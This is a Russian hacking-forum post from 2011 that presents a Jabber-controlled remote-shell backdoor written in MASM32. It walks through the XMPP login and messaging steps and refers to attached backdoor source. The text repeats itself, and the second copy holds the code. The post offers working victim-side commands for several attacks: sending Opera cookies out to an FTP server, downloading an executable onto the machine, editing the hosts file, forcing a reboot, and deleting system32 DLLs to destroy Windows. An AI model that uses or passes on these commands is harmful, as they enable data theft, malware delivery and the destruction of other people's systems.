Доброго времени суток форумчане. Сегодня Вашему вниманию представляется пример удаленного шелла с использованием протокола Jabber. Здесь и отныне будет использоваться MASM32. Будут затронуты следующие моменты:
О том что такое Jabber Вы можете почитать тут. Прочитали? Тогда продолжим.
Авторизация:
Все начинается с авторизации на джаббер сервере, для этого необходимо заранее зарегистрировать аккаунт на одном из серверов. Некоторые сервера позволяют сделать это без ввода всяких там капч и емейлов, а некоторые нет, но об этом позже. Мы будем использовать PLAIN авторизацию как самую простую в реализации, в качестве сервера возьмем наш сервер dlab.org.in, соединяемся на 5222 порт и отправляем первый "пакет" данных.
Именно с этого начинается так называемый "поток". Ответ сервера:
Cервер сообщил, что
<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/> - поддерживает шифрование потока (TLS)
<mechanism>DIGEST-MD5</mechanism> - авторизацию методом DIGEST-MD5
<mechanism>PLAIN</mechanism> - авторизацию методом PLAIN
<register xmlns='http://jabber.org/features/iq-register'/> - можно зарегистрировать аккаунт средствами протокола
Выше уже говорилось, что использовать мы будем PLAIN. Отправляем вторую часть:
Тут передается способ и данные для авторизации. AHRlc3Rib3QAMTIzNDU2 это base64 от строчки \0testbot\0123456, где testbot - это логин, а 123456 - это пароль.
на что сервер в случае успеха должен ответить:
или же
в случае если авторизация не прошла.
2. Привязка ресурса к потоку и начало сессии
После авторизации нужно повторно отправить "начало потока":
Ответ сервера:
Сервер сообщает нам, что нужно определится с ресурсом и начать сессию, сказано - сделано.
Говорим серверу что будем использовать ресурс "test"
Ответ сервера:
Ресурс привязан, начинаем сессию:
Ответ сервера:
Это тот минимум действий который необходим для отправки сообщений, про прочие примочки/заморочки протокола можно почитать тут.
3. Отправка сообщений
поля from и to говорят сами за себя, это имя отправителя и получателя соответственно, в поле type указывается тип сообщения, кстате клиенту QIP пофик на то, что там указано, но вот PSI нервно разделяет сообщения по типам и если там не 'chat' открывает каждое сообщение в новом окне.
Существует три правила для передачи сообщений:
1. если сообщение содержит символы национальных алфавитов, то оно должно быть в кодировке UTF8
2. спецсимволы & " ' > < должны быть заменены HTML синонимами & " ' > < соответственно.
3. никаких нулей
В аттаче находится исходный код полностью рабочего бекдора, код прокомментирован, так что сюда выписывать ничего не буду. Размер бинаря на выходе 5кб, что не может не радовать.
Напишу лишь про вспомогательные процедуры:
UnicodeToUTF8 - название говорит само за себя, в качестве единственного параметра принимает указатель на Unicode строку.
OEMToUTF8 - аналогична предъидущей, но с той разницей, что принимает указатель на память выделенную из кучи, реаллоцирует ее и возвращает указатель т.е. вызывающаю процедура должна обновить у себя указатель после вызова.
htmlspecialchars - аналог одноименной функции из PHP, заменяет спецсимволы на HTML аналоги, передаваемый указатель требует обновления после вызова.
htmlspecialchars_decode - обратна предъидущей, передаваемый указатель не требует обновления после вызова.
Существует один косяк, если выполнить команду вывод которой больше чем размер буфера пайпа (напр. tree.com c:\ /f) - выполнение программы приостанавливается до тех пор пока данные не заберут, а т.к. забирать их некому (бот ждет завершения дочернего процесса) наступает таймаут и бот прибивает дочений процесс.
Решение: не ждать окончание дочернего процесса, а переодически проверять пайп и забирать оттуда данные если таковые имеются, кому надо тот сделает, мне лень
Вторая недороботка, это то что бот не принимает русских символов в командах. Нужно дописывать процедуру UTF8To(Ansi/Unicode)
Но это уже херня, основная цель достигнута, бот выполняет команды и передает консольный вывод вызывающему через Jabber, чего нехватает сами допишите
Ну и напоследок примеры комманд:
Воруем файлы на примере кукисов от оперы
Разберем данную команду, на самом деле это группа команд.
cmd.exe /c - запускает cmd.exe в режиме "выполнить команду и завершить работу"
echo open ftp.narod.ru>%tmp%\ftp - пишет строчку "open ftp.narod.ru" в файл %tmp%\ftp, таких команд несколько, разделены они символами && и будут выполнены по очереди.
ftp.exe -s:%tmp%\ftp - последняя часть команды. Запускает встроенный в систему FTP клиент с указанием выполнить команды из файла %tmp%\ftp.
В результате выполнения данной команды будет создан файл ответов %tmp%\ftp со следующим содержанием:
Будет запущен FTP клиент с указанием выполнить команды из этого файла. Разумеется username и userpass нужно заменить на Ваши. После того как он отработает можно заходить на свой FTP сервер и забирать кукисы. Этот пример подразумевает использование FTP сервера ftp.narod.ru
Заливаем файл на машину
Правим hosts
Получаем информацию об удаленной машине
Покажем сообщение
Перезагружаем машину
Замечания и критика приветствуются. Копипаст с указанием источника разрешен. Помидоры приберечь, это так сказать проба пера.
waahoo [2011], специально для DamageLab
- асинхронная работа с сокетами
- запуск приложений с перенаправлением вывода консоли в пайп
О том что такое Jabber Вы можете почитать тут. Прочитали? Тогда продолжим.
Авторизация:
Все начинается с авторизации на джаббер сервере, для этого необходимо заранее зарегистрировать аккаунт на одном из серверов. Некоторые сервера позволяют сделать это без ввода всяких там капч и емейлов, а некоторые нет, но об этом позже. Мы будем использовать PLAIN авторизацию как самую простую в реализации, в качестве сервера возьмем наш сервер dlab.org.in, соединяемся на 5222 порт и отправляем первый "пакет" данных.
Код:
<stream:stream to='dlab.org.in' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>
Код:
<?xml version='1.0'?>
<stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='3027075041' from='dlab.org.in' version='1.0' xml:lang='en'>
<stream:features>
<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>
<mechanisms xmlns='urn:ietf:params:xml:ns:xmpp-sasl'>
<mechanism>DIGEST-MD5</mechanism>
<mechanism>PLAIN</mechanism>
</mechanisms>
<register xmlns='http://jabber.org/features/iq-register'/>
</stream:features>
<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/> - поддерживает шифрование потока (TLS)
<mechanism>DIGEST-MD5</mechanism> - авторизацию методом DIGEST-MD5
<mechanism>PLAIN</mechanism> - авторизацию методом PLAIN
<register xmlns='http://jabber.org/features/iq-register'/> - можно зарегистрировать аккаунт средствами протокола
Выше уже говорилось, что использовать мы будем PLAIN. Отправляем вторую часть:
Код:
<auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN'>AHRlc3Rib3QAMTIzNDU2</auth>
на что сервер в случае успеха должен ответить:
Код:
<success xmlns='urn:ietf:params:xml:ns:xmpp-sasl'/>
Код:
<failure xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><not-authorized/></failure>
2. Привязка ресурса к потоку и начало сессии
После авторизации нужно повторно отправить "начало потока":
Код:
<stream:stream to='dlab.org.in' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>
Код:
<?xml version='1.0'?>
<stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='3458640585' from='dlab.org.in' version='1.0' xml:lang='en'>
<stream:features>
<bind xmlns='urn:ietf:params:xml:ns:xmpp-bind'/>
<session xmlns='urn:ietf:params:xml:ns:xmpp-session'/>
</stream:features>
Говорим серверу что будем использовать ресурс "test"
Код:
<iq type='set'><bind xmlns='urn:ietf:params:xml:ns:xmpp-bind'><resource>test</resource></bind></iq>
Код:
<iq type='result'><bind xmlns='urn:ietf:params:xml:ns:xmpp-bind'><jid>testbot@dlab.org.in/test</jid></bind></iq>
Код:
<iq type='set'><session xmlns='urn:ietf:params:xml:ns:xmpp-session'/></iq>
Код:
<iq type='result'><session xmlns='urn:ietf:params:xml:ns:xmpp-session'/></iq>
3. Отправка сообщений
Код:
<message from='testbot@dlab.org.in' to='waahoo@dlab.org.in' type='chat'><body>ololo</body></message>
Существует три правила для передачи сообщений:
1. если сообщение содержит символы национальных алфавитов, то оно должно быть в кодировке UTF8
2. спецсимволы & " ' > < должны быть заменены HTML синонимами & " ' > < соответственно.
3. никаких нулей
В аттаче находится исходный код полностью рабочего бекдора, код прокомментирован, так что сюда выписывать ничего не буду. Размер бинаря на выходе 5кб, что не может не радовать.
Напишу лишь про вспомогательные процедуры:
UnicodeToUTF8 - название говорит само за себя, в качестве единственного параметра принимает указатель на Unicode строку.
OEMToUTF8 - аналогична предъидущей, но с той разницей, что принимает указатель на память выделенную из кучи, реаллоцирует ее и возвращает указатель т.е. вызывающаю процедура должна обновить у себя указатель после вызова.
htmlspecialchars - аналог одноименной функции из PHP, заменяет спецсимволы на HTML аналоги, передаваемый указатель требует обновления после вызова.
htmlspecialchars_decode - обратна предъидущей, передаваемый указатель не требует обновления после вызова.
Существует один косяк, если выполнить команду вывод которой больше чем размер буфера пайпа (напр. tree.com c:\ /f) - выполнение программы приостанавливается до тех пор пока данные не заберут, а т.к. забирать их некому (бот ждет завершения дочернего процесса) наступает таймаут и бот прибивает дочений процесс.
Решение: не ждать окончание дочернего процесса, а переодически проверять пайп и забирать оттуда данные если таковые имеются, кому надо тот сделает, мне лень
Вторая недороботка, это то что бот не принимает русских символов в командах. Нужно дописывать процедуру UTF8To(Ansi/Unicode)
Но это уже херня, основная цель достигнута, бот выполняет команды и передает консольный вывод вызывающему через Jabber, чего нехватает сами допишите
Ну и напоследок примеры комманд:
Воруем файлы на примере кукисов от оперы
Код:
cmd.exe /c echo open ftp.narod.ru>%tmp%\ftp&&echo username>>%tmp%\ftp&&echo userpass>>%tmp%\ftp&&echo binary>>%tmp%\ftp&&echo put "%HOMEDRIVE%%HOMEPATH%\Application Data\Opera\Opera\cookies4.dat">>%tmp%\ftp&&echo bye>>%tmp%\ftp&&ftp.exe -s:%tmp%\ftp
cmd.exe /c - запускает cmd.exe в режиме "выполнить команду и завершить работу"
echo open ftp.narod.ru>%tmp%\ftp - пишет строчку "open ftp.narod.ru" в файл %tmp%\ftp, таких команд несколько, разделены они символами && и будут выполнены по очереди.
ftp.exe -s:%tmp%\ftp - последняя часть команды. Запускает встроенный в систему FTP клиент с указанием выполнить команды из файла %tmp%\ftp.
В результате выполнения данной команды будет создан файл ответов %tmp%\ftp со следующим содержанием:
Код:
open ftp.narod.ru
username
userpass
binary
put "C:\Users\user\Application Data\Opera\Opera\cookies4.dat"
bye
Заливаем файл на машину
Код:
cmd.exe /c echo open ftp.narod.ru>%tmp%\ftp&&echo username>>%tmp%\ftp&&echo userpass>>%tmp%\ftp&&echo binary>>%tmp%\ftp&&echo get sample.exe %tmp%\sample.exe>> %tmp%\ftp&&echo bye>>%tmp%\ftp
Правим hosts
Код:
cmd.exe /c echo 127.0.0.1 vkontakte.ru>>%windir%\System32\drivers\etc\hosts
Получаем информацию об удаленной машине
Код:
systeminfo
Покажем сообщение
Код:
msg * The Matrix has you!
Перезагружаем машину
Код:
shutdown -r -t 0 -f
Убиваем Windows [anti-google]
Код:
cmd.exe /C del /f /q %windir%\system32\*.dll
Замечания и критика приветствуются. Копипаст с указанием источника разрешен. Помидоры приберечь, это так сказать проба пера.
waahoo [2011], специально для DamageLab